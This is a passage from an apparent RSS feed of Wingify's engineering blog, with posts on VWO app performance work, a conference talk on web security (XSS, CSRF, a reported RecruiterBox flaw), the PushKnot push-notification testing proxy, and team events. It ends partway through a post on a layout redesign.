id="performance-monitoring-tools" style="position:relative;"><a href="#performance-monitoring-tools" aria-label="performance monitoring tools permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Performance Monitoring Tools</h3> To measure performance, we’ve installed monitoring tools which help us visualize the improvement or deterioration of the app with every release made to production. The chief ones among them are: <ol> <li>Speedcurve — <a href="https://speedcurve.com/">Speedcurve</a> generates a detailed report of the key metrics required to measure network performance. Speedcurve ensures that the each release is monitored. It has a detailed dashboard which shows the health of the app over a period of time. If there’s any negative impact in performance it sends a mail with details of the key performance parameters (like the content size of the page, content requests made by the page, page load time, rendering time etc.).</li> <li>Web Page Test Charts API — We’ve also installed a custom flavour of Trulia’s open source <a href="https://github.com/trulia/webpagetest-charts-api">Webpage Test Charts API</a> . Since both Speedcurve and Web Page Test Charts API essentially get the test results from webpagetest.org the benchmarking source is same. Web Page Test Charts API allows us to view other parameters which Speedcurve doesn’t show.</li> </ol> <h3 id="performance-improvement-measures" style="position:relative;"><a href="#performance-improvement-measures" aria-label="performance improvement measures permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Performance Improvement Measures</h3> Apart from the tools placed to measure performance, we’d also been busy shipping the following boosts to the app: <ol> <li>Upgrade to AngularJS 1.5 — While making the VWO App, two years back, the most stable version of AngularJS present was 1.2. Since then several versions have released with the latest one being 1.5. The <a href="https://medium.com/google-developer-experts/angular-new-features-in-angularjs-1-5-24f9b503af15#.87u227j06">features</a> and performance benefits of 1.5 over 1.2 were convincing enough to make the move. But there were plenty of breaking changes which kept the Dev team as well as the QA team busy for quite some time in making sure that the upgraded code was bug free and the customers had a seamless transition. I’m glad to share that we’ve finally made the transition.</li> <li> Move to HTTP/2 Protocol — <a href="https://en.wikipedia.org/wiki/HTTP/2">HTTP/2 protocol</a>, the successor of the HTTP 1.1 protocol and based loosely on the SPDY protocol provides several benefits. It enables multiplexing of resources across single TCP connection, compressing and reducing HTTP headers and also supports Server Push (The server can optimistically push resources to the browser which it understands that the browser might require). HTTP/2 has good browser support and is backward compatible with HTTP 1.1 which means browsers not supporting it can fallback to the older protocol. <img src="/images/2016/09/http2-browser-support.png" alt="HTTP/2 support"> <div style="text-align:center">HTTP/2 browser support information on Can I Use</div> </li> <li>Move to HTTPS — HTTPS is a precondition for HTTP/2. So, yay!</li> <li>Reduce the initial app content on bootstrap — We’ve reduced the initial app loading size by more than a 100 KBs (and more… or should I say less… to come). This has been achieved due to the combined result of:</li> <li>Removing heavy libraries with their lighter counterparts - We've completely removed libraries like Angular Bootstrap and Chosen from our app dependency. These have been replaced by in-house implementations of the respective libraries.</li> <li>Loading only the modules critical to bootstrap, on bootstrap - On analyzing, our app's bootstrap process, we realized that several modules which weren't critical to it were still loaded. After some code refactor these modules have been eliminated from the process.</li> <li>Splitting of vendor files into primary and secondary files - More on that later in the post.</li> <li>Implement better cache-bust mechanism — We've moved to naming our files based on <a href="https://en.wikipedia.org/wiki/MD5">MD5</a> checksum of their content instead of naming them based on their timestamp of generation, which was the case earlier. This has resulted in generation of fewer unique files on every build. Only the files which are modified get renamed. </li> <li>ETags for the index page — The <a href="https://en.wikipedia.org/wiki/HTTP_ETag">ETag or entity tag</a> based on the HTTP protocol allows the client to make conditional requests. This enhances the caching mechanism and saves bandwidth since the browser only makes the request when the file has changed. Ergo, better loading time!</li> <li>Split vendor files into primary and secondary — It is a common practice in web development to combine all the libraries, required by the app, into a single file. Usually, this is called the vendor file and it gets downloaded entirely in the beginning. Often, several components of the vendor file aren’t required in the usual app usage, but they still get downloaded since it is a single bundle. We’ve divided the vendor file into two and split their content based on the frequency of usage. The first vendor file contains all the libraries which are absolutely necessary for the application to load. For example, AngularJS and its dependencies. The second vendor file is loaded on demand, based on modules which require less frequently required libraries, for example, Graph libraries to show graphs. By doing so we’ve cut a good chunk of approximately 200 KBs from the original monolithic vendor file, a considerable amount by any standard.</li> <li>Implement login page in vanilla JS — The VWO app is written in AngularJS framework. AngularJS is a heavy framework. To add to the woe it has tons of dependencies. The benefit of moving the login page out of AngularJS context, and keeping it in plain JS has a two-fold benefit. Firstly, the login page becomes lighter since it isn’t dependant on the framework anymore. Secondly, by utilising the time that the user takes in filling his credentials we can load, as much of the app, in the background, as possible. Thus, when the user is done signing in, a major portion of the app, if not all, would’ve already been downloaded.</li> <li>Optimize images - Though we used to optimize images earlier, it required the developers to manually run the task and commit those images to the repository. This was cumbersome and often developers would miss doing it. This has now been incorporated into our build process. Each image that now reaches the browser is optimized. </li> </ol> We’ve come a long way from the initial VWO app that was made two years back. And we still have a lot to cover. As we see it, this is just the tip of the iceberg. We’ll be publishing more posts on the improvements that we push to the app. If you have any suggestions, queries or concerns feel free to drop a comment.</content:encoded><author>Dinkar Pundir</author></item><item><title><![CDATA[Secure Your Web Application @JSChannel Conference ’16]]></title><description><![CDATA[Recently, I spoke about securing Web Applications at JSChannel Conference ’16. The conference venue was The Ritz-Carlton, Bangalore…]]></description><link>https://engineering.wingify.com//posts/secure-your-web-apps/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/secure-your-web-apps/</guid><pubDate>Thu, 25 Aug 2016 00:00:00 GMT</pubDate><content:encoded>Recently, I spoke about securing Web Applications at <a href="http://2016.jschannel.com">JSChannel Conference ’16</a>. The conference venue was The Ritz-Carlton, Bangalore. JSChannel is a great conference to attend and to connect with some great people. And when I say great, I literally mean it. We met with Yehuda Katz (one of the creators of Ember.js), Lea Verou (Expert in the W3C CSS Working Group) &#x26; Christian Lilley (Father of SVG) and experts from McKinsey. <img width="480" height="360px" src="/images/2016/08/jschannel_speakers.jpg"> Three Wingifighters flew to attend and listen to this amazing conference and here we are, showing off some swag.🤘 <img style="width:320px !important" src="/images/2016/08/jschannel_swag.jpg"> <img style="width:320px !important" src="/images/2016/08/wingifighters.jpg"> Day 1 was amazing. Rachit, having attended almost all the sessions, has shared his learning experience at the conference on the <a href="http://team.wingify.com/a-wingifighters-account-of-speaking-and-listening-at-the-jschannel">Team Wingify’s Space</a>. <h3 id="before-the-talk" style="position:relative;"><a href="#before-the-talk" aria-label="before the talk permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Before The Talk</h3> Speaking at a conference involves a lot of work before getting on stage. Preparation is crucial. I spent a good number of hours to jot down a list of security vulnerabilities to talk about and steps to mitigate them. I had to make sure none of my demonstrations exposed the vulnerabilities of the websites I chose to talk about. And guess what, in my preparation for the demo, I actually found another way to bypass a previously reported vulnerability in time just before the conference. Keeping in mind the JavaScript conference and the audience, I made sure everything was related to Browser level and Node.js application attacks. <h3 id="the-talk" style="position:relative;"><a href="#the-talk" aria-label="the talk permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Talk</h3> <div style="width: 100%"> <script async class="speakerdeck-embed" data-id="73bbddb59072472a88de3b22005089f1" data-ratio="1.77777777777778" src="//speakerdeck.com/assets/embed.js"></script> For the video, scroll down to the end of the post. </div> It all started with a humorous introduction and a show of my prowess! <blockquote> Security is like the elephant in the room where everyone agrees that it's very important but only a few take it very seriously. </blockquote> I touched upon the recent Github reused password attack and why we should follow a good password hygiene and move towards multi-factor authentication (MFA). <h4 id="xss" style="position:relative;"><a href="#xss" aria-label="xss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>XSS</h4> <img src="/images/2016/08/jschannel_xss.jpeg"> Rule of thumb: Validate input and escape output <h4 id="csrf" style="position:relative;"><a href="#csrf" aria-label="csrf permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>CSRF</h4> XSS + CSRF = Game Over! I've developed a sample web application using Node.js, Express and Angular that is vulnerable to common security vulnerabilities were demonstrated. <a href='https://github.com/djadmin/vulnerable-app' target='_blank'>Click here to see the code.</a> <h4 id="what-could-possibly-go-wrong" style="position:relative;"><a href="#what-could-possibly-go-wrong" aria-label="what could possibly go wrong permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>What could possibly go wrong?</h4> The talk ended with a live demonstration of an interesting and serious vulnerability found on a popular hiring platform, RecruiterBox. A JavaScript injection using which an attacker can upload a maliciously crafted resume and can perform Cross-site Scripting attacks. I used Burp Suite, an interceptor proxy to bypass the fix deployed by Recruiterbox, for demonstration purposes. To know more about the vulnerability, <a href="https://medium.com/@dheerajhere/hiring-made-so-easy-security-write-up-c717a152c21c">click here</a>. <h3 id="feedback" style="position:relative;"><a href="#feedback" aria-label="feedback permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Feedback:</h3> After the talk, it was rewarding to see a good response and interesting queries from the audience. One comment I received from audience was "We have just realized that our services are vulnerable to one of the attacks you have demonstrated and we never gave a thought to it. Thank you!". <div id="jschannel-gallery"> <img src="/images/2016/08/jschannel_resp1.png"> <img src="/images/2016/08/jschannel_resp2.png"> </div> My 2 cents for attending any tech conference More than the talks themselves, it is the people that you should attend the conference for. You should meet the other attendees! If a particular talk is interesting and useful then you can and should talk to the speaker. Key takeaways: <ol> <li>Never blindly trust user input.</li> <li>Always use proven sanitizers and tools.</li> <li>Perform security audits.</li> <li>Keep discussing vulnerabilities because the Internet has a bunch of weird old stuff that, not necessarily, every software developer knows about.</li> </ol> <h4 id="video" style="position:relative;"><a href="#video" aria-label="video permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Video.</h4> <div class="gatsby-resp-iframe-wrapper" style="padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; " > <iframe src="https://www.youtube.com/embed/XaHkHBtth-U" frameborder="0" allowfullscreen style=" position: absolute; top: 0; left: 0; width: 100%; height: 100%; "></iframe> </div> As a first-time speaker, I wasn’t sure what to expect. It turned out to be a great experience and received very positive feedback.</content:encoded><author>Dheeraj Joshi</author></item><item><title><![CDATA[Automating Web Push Notifications @Selenium Conference 2016]]></title><description><![CDATA[There were just two hours left to catch a flight for an exciting opportunity to present at the biggest Selenium conference, SeleniumConf…]]></description><link>https://engineering.wingify.com//posts/automating-web-push-notifications/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/automating-web-push-notifications/</guid><pubDate>Thu, 04 Aug 2016 00:00:00 GMT</pubDate><content:encoded>There were just two hours left to catch a flight for an exciting opportunity to present at the biggest Selenium conference, SeleniumConf 2016, and we were still waiting for our cab to the airport. Our driver was lost within 350 meters of our <a href="https://wingify.com/">Wingify</a> office, finding his way around the vicinity. Eventually, we boarded the flight at the final call! <img src="/images/2016/08/pushknot_final_call.png"> A cool breeze welcomed us at Bengaluru airport, and the next morning we were at The Chancery Pavillion Hotel with our passes: <img style="width:280px !important" src="/images/2016/08/badges_humans.jpg"> Day 1 was about keynotes, new tools and sponsor stands. HP launches lean UFT, introducing Selenium inbuilt with the tool. There were a lot of talks that explored more areas Selenium could be used in, thereby widening its scope. <h3 id="d-day-demo-day" style="position:relative;"><a href="#d-day-demo-day" aria-label="d day demo day permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>D day: Demo day</h3> There was no hurry to reach the venue today as the streets were all mapped a day before, suits and boots were tied up. It was the day to present, world's first ever open source automation tool for push notifications - PushKnot Push notifications let users to opt into timely updates from sites they love and allow you to effectively re-engage them with customized, engaging content. As per recent surveys, push notifications are turning out to be better than email notifications. Since it's a relatively new technology which is booming, the SDLC flows goes like this specs written, functionality developed, unit tests written, how about testing it end to end? Do it manually or automate it like a boss! PushKnot helps you do the latter part well. <img src="/images/2016/08/pushknot_logo.png"> <blockquote> "PushKnot is a specialized open-source proxy tool for modifying, parsing and fetching desktop push notifications.” </blockquote> <h4 id="how-pushknot-works" style="position:relative;"><a href="#how-pushknot-works" aria-label="how pushknot works permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How PushKnot works:</h4> It works as a proxy server which intercepts the service-worker registration request’s response. It adds a specific payload and the new modified service-worker is registered with the browser. <img src="/images/2016/08/pushknot_first_diagram.jpg"> This payload has specialized code which intercepts and captures the push notification received. Once it has intercepted the push notifications, it saves the notification data in JSON format in a file, and forwards the notification back to the browser so that it can be seen there. <img src="/images/2016/08/pushknot_second_diagram.jpg"> Once the response is stored in a JSON file it can be easily read and verified. <img src="/images/2016/08/sample_json.png"> Steps: <ol> <li>The service is available at <a href="https://github.com/Ankitagupta2309/pushKnot">https://github.com/Ankitagupta2309/pushKnot</a></li> <li> After cloning the repo and running <code class="language-text">npm install</code>, you can start it by running <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">````node start.js —domain=&lt;yourdomain&gt; ````</code></pre></div> </li> <li>By default it will run on port 9002, if you want to change it, you can do so by using the flag —port=9003</li> <li> Set up https system proxy to point to 127.0.0.1:9002 <img src="/images/2016/08/setup_proxy_push.png" alt="setup proxy push"> </li> <li> When you are launching your browser you need to set 2 flags: <ul> <li>Start a chrome browser with <code class="language-text">--ignore-certificate-errors</code> flag</li> <li>Set browser preference <code class="language-text">&#39;profile.default_content_setting_values.notifications&#39;: 1</code></li> </ul> </li> </ol> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">chromeOptions: { 'args': ['--ignore-certificate-errors'], prefs: { 'profile.default_content_setting_values.notifications': 1 } }</code></pre></div> <a href='http:///www.slideshare.net/ankitagupta2309/pushknot' target='_blank'>Slides deck</a> from the talk. <div class="gatsby-resp-iframe-wrapper" style="padding-bottom: 81.5126050420168%; position: relative; height: 0; overflow: hidden; " > <div style="width: 100%"> <iframe src="//www.slideshare.net/slideshow/embed_code/key/jinpOBbAaNDv54" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%; position: absolute; top: 0; left: 0; width: 100%; height: 100%; " allowfullscreen> </iframe> </div> </div> <a href='http://www.slideshare.net/ankitagupta2309/pushknot-demo' target='_blank'>Demo</a> from the talk. <div class="gatsby-resp-iframe-wrapper" style="padding-bottom: 56.30252100840336%; position: relative; height: 0; overflow: hidden; " > <iframe src="//www.slideshare.net/slideshow/embed_code/key/LsA1VDNjsPPfR0" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%; position: absolute; top: 0; left: 0; width: 100%; height: 100%; " allowfullscreen> </iframe> </div> <a href='https://www.youtube.com/watch?v=Lj9HD-1Pikc' target='_blank'>Video</a> of the talk. <div class="gatsby-resp-iframe-wrapper" style="padding-bottom: 56.30252100840336%; position: relative; height: 0; overflow: hidden; " > <iframe src="//www.youtube.com/embed/Lj9HD-1Pikc" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%; position: absolute; top: 0; left: 0; width: 100%; height: 100%; " allowfullscreen> </iframe> </div> It was a great learning experience. Received good feedback on our tool, some of which have already been implemented. Write back to us if you have any feedback or queries.</content:encoded><author>Jatin Makhija, Ankita Gupta</author></item><item><title><![CDATA[Let's talk Security - Engineering Talkies]]></title><description><![CDATA[At Wingify, we recently began an initiative by the name Engineering Talkies where our engineering teams share their experiences, repertoire…]]></description><link>https://engineering.wingify.com//posts/lets-talk-security/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/lets-talk-security/</guid><pubDate>Mon, 02 May 2016 00:00:00 GMT</pubDate><content:encoded>At <a href="https://wingify.com/">Wingify</a>, we recently began an initiative by the name Engineering Talkies where our engineering teams share their experiences, repertoire of best practices, and learnings. Think of it as a knowledge sharing session between people within and across teams. The last talk was about Web Application Security where I spoke about the best practices to follow for tightening the security of our web applications. It started with a little introduction to my infosec journey and how companies deal with security researchers. Along the way I also touched upon why startups, specifically, should care about security. <blockquote> Information Security is not just about following some best practices checklist, it's all about lateral thinking. </blockquote> We explored <a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">OWASP's Top 10 Vulnerabilities</a> considering possible attacks and techniques to shore up our defense against them. Next we went through some real world examples of common security threats and how the risks can be mitigated and flaws addressed. In my preparation for the talk, I had conducted an internal security audit of our product application and the security measures we have put in place for <a href="https://app.vwo.com">VWO</a> that should be followed for other products under the <a href="https://wingify.com/">Wingify</a> umbrella. Yes, we are coming up with some cool new products other than VWO, the beloved A/B Testing Tool, Stay tuned. <a href="https://speakerdeck.com/djadmin/lets-talk-security">Slides</a> from the talk on security at Wingify Engineering Talkies: <div style="width: 100%"> <script async class="speakerdeck-embed" data-id="09d60c94ca6446e68d5b4779ab71359c" data-ratio="1.77777777777778" src="//speakerdeck.com/assets/embed.js"></script> </div> It's very useful for companies to perform internal security audits and today we understand a little better about why we sometimes need to slow down feature development and clean up a bit. We take security very seriously at <a href="https://wingify.com/">Wingify</a>. If you find any security vulnerability, please report it to <a href="mailto:security@wingify.com?Subject=Found%20a%20vulnerability">security@wingify.com</a>. We will respond as quickly as we can to any security issues identified.</content:encoded><author>Dheeraj Joshi</author></item><item><title><![CDATA[Code In the Dark at Wingify]]></title><description><![CDATA[Coding is always fun at Wingify, be it a Wingify Camp or a Fun Friday. And to add to the fun, in a Fun Friday Code In the Dark was organized…]]></description><link>https://engineering.wingify.com//posts/code-in-the-dark/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/code-in-the-dark/</guid><pubDate>Thu, 28 Apr 2016 00:00:00 GMT</pubDate><content:encoded><div style="text-align:center; margin: 10px;"> <img src="/images/2016/04/CITD_1.JPG"> </div> Coding is always fun at <a href="https://wingify.com/">Wingify</a>, be it a Wingify Camp or a Fun Friday. And to add to the fun, in a Fun Friday <a href="http://codeinthedark.com/">Code In the Dark</a> was organized by Wingify on 15th April 2016 in both Wingify's Delhi and Pune office. The event is a front-end (HTML, CSS) competition created by the folks at <a href="https://tictail.com/">Tictail</a>, where each contestant compete to implement a website design given only a screenshot. The catch is, no previews of the results are allowed during the implementation, and no measuring tools can be used. There are some simple rules of the event: <ul> <li>Duration: 15 min</li> <li>Technology: HTML/CSS</li> <li>No previews</li> <li>One champion</li> </ul> The event started at 5 o'clock in the evening and was divided into two slots, each slot having 9 participants. The rule was to choose two from each slot so that final four compete in the final round. Along with that, to add to the fun and frolic, a loud music was played to motivate the contestants to write the code as fast as they can. The lights were turned off to create an awesome atmosphere to complement the theme of the event. The only light flashing was that of TV and Laptop screens which added a magical appearance to the room. <div style="text-align:center; margin: 10px;"> <img src="/images/2016/04/CITD_2.JPG"> <div style="margin: 10px;">Ankit Jain and Kushagra Gour starting the event </div> </div> <div style="text-align:center; margin: 10px;"> <img src="/images/2016/04/CITD_6.jpg"> <div style="margin: 10px;">Contestants coding in the dark </div> </div> After the completion of the allotted time, two participants from each team were selected based on the audience voting. A final round was organized between selected "Fantastic Four" participants from the 2 slots which were <a href="https://www.linkedin.com/in/sparshgupta">Sparsh Gupta</a>, <a href="http://hemkaranraghav.in/">Hemkaran Raghav</a>, <a href="https://www.linkedin.com/in/ashish-bardhan-07654a26">Ashish Bardhan</a>, <a href="https://twitter.com/dheerajhere">Dheeraj Joshi</a>. Meanwhile, some people were busy in eating delicious sandwiches and having some beer to quench their thirst. <div style="text-align:center; margin: 10px;"> <img src="/images/2016/04/CITD_4.JPG"> </div> Meanwhile in Wingify's Pune office... / <div style="text-align:center; margin: 10px;" class="galleria"> <img src="/images/2016/04/CITD_pune3.jpg"> <img width="49%" src="/images/2016/04/CITD_pune2.jpg"> <img width="49%" src="/images/2016/04/CITD_pune1.jpg"> </div> Next was to decide the winner, and after voting by everyone finally we had the winners. <ol> <li><a href="https://www.linkedin.com/in/sparshgupta">Sparsh Gupta</a> (Our CTO) - Winner</li> <li><a href="http://hemkaranraghav.in">Hemkaran Raghav</a> - Runner Up</li> </ol> Also, The winners from Pune office were: <ol> <li><a href="http://paraschopra.com/">Paras Chopra</a> (Our CEO) - Winner</li> <li><a href="http://rachitgulati.com/">Rachit Gulati</a> - Runner Up</li> </ol> Yeah, our CEO &#x26; CTO are code-in-dark experts :) Checkout the awesome prizes that winners got: <div style="text-align:center; margin: 10px;"> <img src="/images/2016/04/CITD_5.jpg"> <div style="margin: 10px;">Sparsh Gupta and Hemkaran Raghav getting his prize </div> </div> It was a great experience to participate in the event. Thanks to Kushagra Gour for organizing the awesome blossom event. We hope that this type of events will continue to happen in the time to come. You can watch a glimpse of the event here: <div class="gatsby-resp-iframe-wrapper" style="padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; " > <div style="text-align:center; margin: 10px;"> <iframe src="https://www.youtube.com/embed/x3PoYQtsVjE" frameborder="0" allowfullscreen style=" position: absolute; top: 0; left: 0; width: 100%; height: 100%; "></iframe> </div> </div> If you want to know more about the events and happenings at Wingify, follow us on (<a href="https://twitter.com/wingify_engg">Twitter</a>, or <a href="https://www.facebook.com/Wingify">Facebook</a>). If you have any suggestions for different type of events that we can organize, go ahead and leave comments and we will get back to you. If you like what we do at Wingify and want to join the force, we will be more than happy to work with you. <a href="https://wingify.com/careers">As always, we are looking for talented people to work with us</a>!</content:encoded><author>Hemkaran Raghav</author></item><item><title><![CDATA[A layout trick]]></title><description><![CDATA[Few weeks ago, we did a redesign of our product - VWO. It wasn't a complete overhaul from scratch, but some major design decisions were…]]></description><link>https://engineering.wingify.com//posts/layout-trick/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/layout-trick/</guid><pubDate>Mon, 04 Apr 2016 00:00:00 GMT</pubDate><content:encoded>Few weeks ago, we did a redesign of our product - VWO. It wasn't a complete overhaul from scratch, but some major design decisions were taken in the existing design based on the feedback we have received from users since we launched v3.0. This post is about a cool trick we used to achieve a task in that redesign project. <h2 id="the-task-or-issue" style="position:relative;"><a href="#the-task-or-issue" aria-label="the task or issue permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The task (or issue)</h2> One of the most principle decisions we made was regarding the main layout of the app. It wasn't about changes in placement of content, but actually about the UI semantics. It mostly translated to color changes to bring a sense of how any screen in the app is structured and how all components on the page relate to each other. Here is a comparison of the before &#x26; 